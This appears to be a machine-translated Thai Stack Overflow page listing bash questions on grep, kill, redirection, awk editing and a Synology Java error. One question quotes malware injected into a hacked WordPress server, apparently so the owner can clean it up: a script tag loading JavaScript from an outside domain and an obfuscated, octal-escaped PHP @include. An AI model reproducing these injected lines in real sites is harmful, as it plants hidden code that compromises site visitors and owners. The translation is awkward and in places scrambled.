คำถามติดแท็ก bash

สำหรับคำถามเกี่ยวกับสคริปต์ที่เขียนขึ้นสำหรับเชลล์คำสั่ง Bash สำหรับเชลล์สคริปต์ที่มีข้อผิดพลาด / ข้อผิดพลาดทางไวยากรณ์โปรดตรวจสอบด้วยโปรแกรม shellcheck (หรือในเซิร์ฟเวอร์ shellcheck เว็บที่ https://shellcheck.net) ก่อนโพสต์ที่นี่ คำถามเกี่ยวกับการใช้งานอินเทอร์แอคทีฟของ Bash นั้นมีแนวโน้มที่จะอยู่ในหัวข้อของผู้ใช้ขั้นสูงมากกว่าในสแต็คโอเวอร์โฟลว์

15
grep สำหรับหลาย ๆ สตริงในไฟล์ในบรรทัดที่แตกต่างกัน (เช่นไฟล์ทั้งหมดไม่ใช่การค้นหาตามบรรทัด)?
ฉันต้องการที่จะ grep สำหรับไฟล์ที่มีคำDansk, Svenskaหรือ Norskบนเส้นใด ๆ กับรหัสผลลัพธ์ที่ใช้งาน (ที่ผมชอบจริงๆเท่านั้นที่จะมีข้อมูลที่สตริงที่มีอยู่, หนึ่งซับของฉันไปเล็ก ๆ น้อย ๆ อีกแล้วนี้) ฉันมีไฟล์จำนวนมากที่มีบรรทัดในลักษณะนี้: Disc Title: unknown Title: 01, Length: 01:33:37.000 Chapters: 33, Cells: 31, Audio streams: 04, Subpictures: 20 Subtitle: 01, Language: ar - Arabic, Content: Undefined, Stream id: 0x20, Subtitle: 02, Language: bg - Bulgarian, Content: Undefined, Stream …
85 bash  awk  grep 

9
วิธีการให้ข้อโต้แย้งเพื่อฆ่าทางท่อ
ฉันต้องการค้นหากระบวนการบางอย่างและฆ่ากระบวนการนั้น ฉันเขียนคำสั่งดังนี้: ps -e | grep dmn | awk '{print $1}' | kill dmnที่ไหนชื่อกระบวนการคือ แต่มันไม่ทำงาน ฉันจะค้นหากระบวนการตามชื่อและกระบวนการkillได้อย่างไร

3
ไม่สามารถส่งอักขระ '#' เป็นอาร์กิวเมนต์บรรทัดคำสั่ง
ฉันไม่สามารถส่งผ่านสตริงที่ขึ้นต้นด้วย#อาร์กิวเมนต์บรรทัดคำสั่ง นี่คือการทดสอบอย่างง่าย: #include <stdio.h> int main(int argc, char *argv[]) { for (int i = 1; i < argc; i++) printf("%s ", argv[i]); putchar('\n'); return 0; } หากฉันป้อนอาร์กิวเมนต์ดังนี้: 2 4 # 5 6 ค่าของargcเป็นและไม่ได้3 6มันอ่าน#และหยุดอยู่แค่นั้น ผมไม่ทราบว่าทำไมและผมก็ไม่สามารถหาคำตอบในสำเนาของฉันของภาษา C ProgrammingและC รองพื้นพลัส

1
3> & 1 หมายถึง 4> & 3 5> & 3 ฯลฯ หรือไม่
ฉันคาดหวัง echo foo | tee /proc/self/fd/{3..6} 3>&1 ล้มเหลวด้วยข้อผิดพลาดเช่น/ proc / self / fd / 4: ไม่มีไฟล์หรือไดเร็กตอรี่อื่น ๆ , แต่ด้วยความประหลาดใจของฉัน, มันแสดงผลออกมา foo foo foo foo foo มันเป็น3>&1สาเหตุทำให้ตัวบอกรายละเอียดทั้งหมดต่อไปนี้ถูกเปลี่ยนเส้นทางไปยัง stdout ยกเว้นว่าจะไม่ทำงานหากฉันเปลี่ยน3เป็นอย่างอื่นเช่น $ echo foo | tee /proc/self/fd/{3..6} 4>&1 tee: /proc/self/fd/3: No such file or directory tee: /proc/self/fd/5: No such file or directory tee: …

7
ฉันจะแก้ไขคำสั่งเชลล์ปัจจุบันโดยไม่ต้องดำเนินการได้อย่างไร
ดูเหมือนว่าจะมีข้อมูลจำนวนมากเกี่ยวกับวิธีการแก้ไขและดำเนินการคำสั่งโดยใช้โปรแกรมแก้ไขของคุณโดยใช้ "edit-and-execute-command (Cx Ce)" แต่สิ่งที่ฉันต้องการบรรลุคือใช้คำสั่งเชลล์ปัจจุบันใช้ การกรองบางอย่าง (ใช้สคริปต์) จากนั้นส่งคืนเพื่อให้พร้อมท์เพื่อขออนุมัติ / เปลี่ยนแปลงด้วยตนเองก่อนดำเนินการ เป็นไปได้ด้วยการทุบตี?
13 bash 

7
วิธีแทนที่สตริงทั้งหมดด้วย sed หรือ grep
ดังนั้นเซิร์ฟเวอร์ทั้งหมดของฉันถูกแฮ็กหรือมีปัญหามัลแวร์ ไซต์ของฉันใช้ WordPress และไซต์ส่วนใหญ่ที่โฮสต์บนเซิร์ฟเวอร์ของฉันนั้นใช้ WordPress แฮ็กเกอร์เพิ่มรหัสบรรทัดนี้ให้กับทุกไฟล์และในฐานข้อมูล <script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script> ฉันค้นหาโดยใช้คำสั่ง grep grep -r "trasnaltemyrecords" /var/www/html/{*,.*} ฉันพยายามแทนที่มันตลอดโครงสร้างไฟล์ด้วยsedและฉันเขียนคำสั่งต่อไปนี้ sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php ฉันพยายามแทนที่สตริงในไฟล์เดียวindex.phpก่อนดังนั้นฉันจึงรู้ว่ามันใช้งานได้ และฉันรู้ว่ารหัสของฉันผิด โปรดช่วยฉันด้วยสิ่งนี้ ฉันลองใช้รหัส @ Eran และลบทั้งบรรทัดซึ่งดีและเป็นไปตามที่คาดไว้ อย่างไรก็ตามศัพท์แสงทั้งหมดนี้ /*ee8fa*/ @include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o"; /*ee8fa*/ <?phpและในขณะที่ฉันต้องการที่จะลบเนื้อหาทั้งหมดที่ฉันต้องการให้แท็ก PHP เปิด แม้ว่าโซลูชันของ @ slybloty นั้นใช้งานง่ายและใช้งานได้ ดังนั้นเพื่อลบรหัสออกจากไฟล์ที่ได้รับผลกระทบทั้งหมด ฉันใช้ 3 คำสั่งต่อไปนี้ขอบคุณทุกท่านสำหรับสิ่งนี้ find . -type f -name …
10 bash  shell  sed  grep 

1
การขยายพารามิเตอร์ที่ทำให้เกิดสตริงว่างจะถือว่าแตกต่างกัน
ปรับปรุง ใครบางคนในรายการส่งเมลบั๊กได้ยืนยันแล้วว่านี่เป็นข้อผิดพลาด หากใครที่สนใจการแก้ไขมีอยู่ในรุ่นล่าสุดมอบให้สาขา devel ในขณะที่ bash -c 'echo "${1##*""}"' _ bar พิมพ์บรรทัดว่าง bash -c 'echo "${1##*"${1##*}"}"' _ bar barพิมพ์ ฉันไม่เข้าใจสิ่งนี้ ${1##*}ขยายเป็นสตริงว่างดังนั้น"${1##*}"ควรได้รับการปฏิบัติเช่นเดียวกับที่เป็น""อยู่ แต่ดูเหมือนว่าทุบตีจะไม่คิดเช่นนั้น ดูเหมือนจะมีฉันทามติเกี่ยวกับเรื่องนี้ในshการใช้งานที่นิยมอื่น ๆ: $ sh -c 'echo "${1##*"${1##*}"}"' _ bar $ ash -c 'echo "${1##*"${1##*}"}"' _ bar $ dash -c 'echo "${1##*"${1##*}"}"' _ bar $ ksh -c 'echo "${1##*"${1##*}"}"' …
10 bash 

2
ไม่พบคำสั่ง Synology Scheduler .sh java
ฉันมีสคริปต์ทุบตีที่ทำงานเฉพาะคือการดำเนินการไฟล์ jar sms.sh java -jar /volume1/homes/jar/smssender.jar การใช้ Synology NAS ของฉันฉันตั้งค่างาน การเพิ่มคำสั่งเพื่อเรียกใช้งานสคริปต์ทุบตี การเพิ่มเอาต์พุตบันทึก ดำเนินงานใหม่ของฉัน การตรวจสอบบันทึกเพื่อดูข้อผิดพลาดต่อไปนี้: /volume1/homes/jar/sms.sh: บรรทัด 1: ไม่พบคำสั่ง java: กำลังตรวจสอบเวอร์ชั่น / การติดตั้ง Java: การตรวจสอบการดำเนินการของสคริปต์ sh ด้วยตนเอง (ทำงาน): ใครที่มีกรณีแปลก ๆ นี้ การแก้ไขปัญหาใด ๆ / ความคิด? ฉันเหนื่อย กำลังรีสตาร์ท NAS ของฉัน ถอนการติดตั้ง / ติดตั้งแพ็คเกจ Java8 แต่ไม่มีใครทำงาน
9 java  bash  synology 

3
บันทึกการแก้ไขในสถานที่ด้วย NON GNU awk
ฉันเจอคำถาม (ในตัวเองดังนั้น) ที่ OP จะต้องแก้ไขและบันทึกการดำเนินการใน Input_file (s) ตัวเอง ฉันรู้สำหรับ Input_file เดียวที่เราสามารถทำได้: awk '{print "test here..new line for saving.."}' Input_file > temp && mv temp Input_file ตอนนี้สมมติว่าเราต้องทำการเปลี่ยนแปลงในรูปแบบไฟล์ประเภทเดียวกัน (สมมติว่า. txt ที่นี่) สิ่งที่ฉันได้ลอง / คิดเกี่ยวกับปัญหานี้:วิธีการของมันคือการผ่านสำหรับไฟล์. txt และการเรียกไฟล์เดี่ยวawkนั้นเป็นกระบวนการที่ไม่เจ็บปวดและไม่แนะนำเนื่องจากมันจะทำให้วงจรซีพียูที่ไม่จำเป็นขาดหายไป ช้า. ดังนั้นสิ่งที่สามารถทำได้ที่นี่เพื่อทำการแก้ไขแบบ inplace สำหรับหลายไฟล์ด้วย NON GNU awkซึ่งไม่รองรับตัวเลือก inplace ฉันได้ผ่านหัวข้อนี้แล้วบันทึกการแก้ไขด้วย awkแต่ไม่มีอะไรมากสำหรับ NON GNU awk Vice และการเปลี่ยนไฟล์หลาย ๆ …
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.